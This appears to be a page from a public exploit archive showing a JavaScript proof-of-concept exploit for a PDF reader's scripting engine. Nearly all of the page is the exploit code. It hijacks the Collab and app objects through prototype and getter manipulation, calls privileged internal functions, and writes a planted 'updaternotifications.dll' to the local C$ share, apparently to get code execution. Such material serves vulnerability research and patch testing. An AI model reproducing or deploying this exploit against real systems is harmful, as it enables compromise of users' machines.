4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.js JS
function exploit(myObj,parentObj) {
	var filePath = parentObj.path.split("/");
	filePath = filePath.slice(2,filePath.length-1).join("/");
	filePath = "smb://localhost/C$/" + filePath + "/updaternotifications.dll";
	var args = {
		cFileURI: filePath, 
		oData: parentObj.getDataObjectContents("exploit.txt"),
		cURL: "http://www.doesntmatter.com"
	}	
	var obj = {}
	obj.__defineGetter__("attr", function() {
		Collab = {"isDocCenterURL":myObj.f}
		Collab.__proto__ = myObj;
		tester = app;
		app = {"execDialog":function(args) { return null;}}
		app.__proto__ = tester;

		return args;
	});

	try {
		CBSharedReviewIfOfflineDialog(obj["attr"],"A");
	} 
	catch (e) {
		app.alert(e);
	}
}

myObj = {"f": Collab.uriPutData}
myObj.__proto__ = Collab;

var parentObj = this;

o = {'charAt':function(x){return exploit.toString() + " exploit(shortEntry,wordMonthEntry);"}}

var ret = AFParseDate("1:1:1:1:1:1",o,myObj,parentObj,o);